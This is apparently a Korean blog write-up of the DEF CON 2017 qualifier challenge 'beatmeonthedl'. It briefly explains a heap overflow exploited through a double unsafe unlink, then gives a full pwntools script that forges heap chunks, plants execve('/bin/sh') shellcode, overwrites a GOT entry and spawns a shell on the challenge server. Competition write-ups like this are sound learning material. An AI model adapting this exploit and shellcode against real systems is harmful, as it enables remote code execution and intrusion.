-
Defcon 2017 - beatmeonthedlCTF 2017. 5. 6. 06:23
dl이라서 다이나믹 링크 관련되서 익스플로잇하는 문제인줄 알았는데 그냥 힙 unsafe unlink를 이용해서 푸는 문제이다.
취약점이 뻔하게 보인다. 그럼 바로 익스플로잇을 하되, 라이브러리를 릭했지만 라이브러리ㄱㅏ 제공되지않아 unsafe unlink를 두번해서 쉘코드를 올리고 got를 덮어 리턴했다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from pwn import *p = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me",6969)# p = remote("192.168.0.8",11111)def login():print p.recvuntil("username:")p.sendline("mcfly")print p.recvuntil("Pass:")p.sendline("awesnap")def req_ex(msg):print p.recvuntil("|")p.sendline("1")print p.recvuntil(">")p.sendline(str(msg))def printmsg():print p.recvuntil("|")p.sendline("2")def delete(idx):print p.recvuntil("|")p.sendline("3")print p.recvuntil(":")p.sendline(str(idx))def chgdata(idx,msg):print p.recvuntil("|")p.sendline("4")print p.recvuntil(":")p.sendline(str(idx))print p.recvuntil("data:")p.send(msg)reqlist = 0x609E80login()req_ex("A"*48)req_ex("B"*48)req_ex("C"*48)req_ex("D"*48)shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"shellcode2 = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"payload = "C"*48payload += p64(0)payload += p64(0x42)payload += p64(reqlist-24)payload += p64(reqlist-16)chgdata(0,payload)delete(1)chgdata(0,"P"*24 + p64(0x609d20))chgdata(0,shellcode2)chgdata(2,payload)delete(3)chgdata(0,"Q"*24 + p64(0x6099D8))# leak herechgdata(0,p64(0x609d20))printmsg()p.interactive()cs 'CTF' 카테고리의 다른 글
SECUINSIDE 2017 - bug_manage_system (0) 2017.07.05 NOE BURYBURY (0) 2017.05.10 pwnable.tw deathnote (0) 2017.01.24 pwnable.tw orw (0) 2017.01.24 pwnable.tw start (0) 2017.01.24